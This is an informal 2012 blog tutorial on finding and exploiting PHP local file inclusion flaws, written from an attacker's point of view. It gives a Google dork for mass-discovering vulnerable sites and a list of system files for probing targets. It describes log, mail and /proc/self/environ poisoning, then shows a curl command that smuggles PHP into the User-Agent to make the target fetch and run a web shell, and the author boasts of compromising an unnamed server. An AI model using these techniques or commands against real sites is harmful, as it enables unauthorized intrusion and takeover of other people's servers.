Thursday, 19 January 2012

LFI attacks for Predators

What is an LFI vulnerability??
what? you don't know!!? lulz, an LFI or (Local file inclusion)  vulnerability ---much like other web attacks, exists when unclean user input is used to determine input to any of the  follow php functions 
  • include : "Files are included based on the file path given or, if none is given, the include_path specified. If the file isn't found in the include_path, include() will finally check in the calling script's own directory and the current working directory before failing. The include() construct will emit a warning if it cannot find a file; this is different behavior from require(), which will emit a fatal_error."
an interesting thing to note is that include will actually search for files with the specified name if an absolute path is not given the script will search for it in the include_path, this means if you can influence the environment variables that a script runs under, you may be able to fool it into including the wrong files!
  • readfile:"Reads a file into the output buffer"
  • include_once: "The include_once() statement includes and evaluates the specified file during the execution of the script. This is a behavior similar to the include() statement, with the only difference being that if the code from a file has already been included, it will not be included again. As the name suggests, it will be included just once"
(There may be other functions that allow LFI attacks, if so i forgot lols)

Okay all of these functions have one thing in common, they allow PHP scripts to read/display content of specified files, the hack comes in when this specification is unchecked. You could for example fool a script into reading the password file

Me performing an LFI attack

As I've done here, (hehehe i wish i could tell you who's server this was!!).

Now this part of the tutorial you expect me to demonstrate an LFI, right?? Wrong!! I actually care about whether this information is useful to you!! So I'm gonna show how to find servers with LFI vulnerabilities

Getting the scent
So how will we know when something is vulnerable to LFI we can smell the functions being called in server scripts!!??

Well when scripts are written badly the developers usually don't know much about safe configuration of PHP scripts, so one thing you can count on is that they will print out php warnings when these errors occur. For instance if an include call goes bad...

Warning: include(wrongFile.php) [function.include]:failed to open stream:No such file or directory in C:\home\website\test.php on line 5
Warning: include() [function.include]:Failed opening 'wrongFile.php' for inclusion(include_path='.;C:\php5\pear')in C:\home\website\test.php on line 5
We can learn alot from this dump:
  • The path to the script that caused the error --- allows faster resolution of other paths.
  • The input that caused the error --- This is useful when you can control the source of the input
  • the include_path of used when resolving include calls --- You can fool the script into include some malicious scripts once you have control of the disk writing/reading with out influencing script operation if you want
So thats what the scent of an LFI vulnerability looks like sometimes, ---it all depends on whether the includes argument comes from user input, how do we get a massive list of servers giving off this scent?? Google!!

Setting the trap

What do we want from google?

  • servers hosting php pages --- most probably anything with a .php file in its url
  • servers that factually include scripts --- we identify them using PHP Warnings (above)
  • servers that have php scripts in their arguments --- most likely including them
I've constructed the following (very simple) dork :
(copy and paste the following into google and scroll through them to check it out)
inurl:".php?page=" (intext:"Warning: include") | (intext:"Warning: include_once") | (intext:"Warning: readfile")
  • inurl:.php?page=  
    • .php? --- im looking for php scripts excepting data through get requests
    • page= --- most CMSs and developers call arguments that contain include/readfile arguments names like "page"/"file"/"download"
  • intext: Warning: [function name]
    • Warning: --- php warning error signature
The ()|() structure of the dork is actually derived from a lil boolean algebra it tells google to group the arguments of one intext: directive so that it won't form part another intext: directive. The | operator is the boolean OR, it means that the results will satisfy the query if any of the intext: directives are satisfied
I suppose you could look for errors more generically my dorking for their "causes" like 

  •  Permission denied
  • failed to open stream
  • no such ... in directory
So now you can find you're targets, lets get to exploiting them ;) 

Sinking your teeth in
Okay so you know how to find your prey. This next section details how you verify the exploit.
There are some files you may want to use to test whether and LFI is possible, in some cases LFIs may be impossible!! To classify a server you need to try including/reading the following files (filetypes):

I found these using : 
find  /etc/ -perm /ugo+r
  • /etc/hdparm.conf
  • /etc/host.conf
  • /etc/hostname
  • /etc/hosts
  • /etc/hosts.allow
  • /etc/hosts.deny
  • /etc/apache2/httpd.conf 
  • etc...
    • and in general any readable file in the host OS types /etc/,/proc/,/var/dirs, the reason this is such a good way of testing is because some of these file are required to be world readable for the OS to operate properly

If you manage to display any of these files on the actual page, or manage to download them then its game over for that server, you've tasted blood!!

If not, then you may have a problem, if you run into something like this:
Warning: [function name] [function.[function name]]: open_basedir restriction in effect. File([file path name]) is not within the allowed path(s): ([file dir name]) in [script causing the error] on line 3
Then you may have a problem open_basedir is part of a security configuration that tries to prevent reading sensitive files, of course the way it is configured depends on  the person that configured it, so its not a completely foolproof method of preventing LFI attacks! 

One flaw that open_basedir restrictions cause is that people assume they are completely immune to LFI attacks because of it, but all it really does is force to include/read/open files from a certain directory only, this still leaves the script vulnerable because:
  • No restriction is made on the type of file that the script can open
    • should a shell script/trojan/virus be written into the configured directory open_basedir restriction would not help stop the inclusion!!
my advice in this case is not to completely give up on the attack, in fact if the server (php,web-server software) logs your attacks it may save it in "trusted" directories leading to the creation of remote code execution vulnerabilities, so read a lil about how php/word press/joomla and other CMSs and websites logs errors and up about word press especially!!

Okay so now you know how to check for / verify LFI vulns, you are now ready to know how to make the kill

Making the kill

making the kill is very simple, there are a few ways I know about:
  • /proc/self/environ --- this file is used to store properties of the environment of the server process
  • log poisoning method --- injecting php/javascipt or other code into a log file for inclusion
  • mail poisoning method --- sending mail to a server that includes code, this "poisons" the /var/mail type files and directories which are also world readable and often trusted too much
/proc is a pseudo-filesystem which is used as an interface to kernel data structures rather than reading and interpreting /dev/kmem. 

you could have a look at you're own /proc/[pid]/environ file to see what actually gets saved. One thing that makes it useful to have under world readable permissions is that if a web server receives a request for this file it will include the User-Agent string in its actual contents. Well we know User-Agents aren't written in stone.
in general if something allows you to influence the environment variables of a server process then this method will also allow you to leverage control of the target!

To be able to inject arbitrary code all you need to do is include a small PHP command string in your User-Agent, and for linux users this is as simple as adding a few chars to a curl command, as follows:
curl -A "<?[command]?>" [target-host]/[script].php?[key]=/proc/self/environ
for example:
curl -A "<?system('wget -O shell.php');?>"
 what this does is run a wget on the target to download a shell script and output it into the current working directory of the target
assuming of course /proc/environ  is avaible at "../../../proc/environ"
After you've injected your shell (turning an LFI into an RFI) all you do is request your shell from the server and its yours!! lols until you get caught

For tutorials on the other methods see...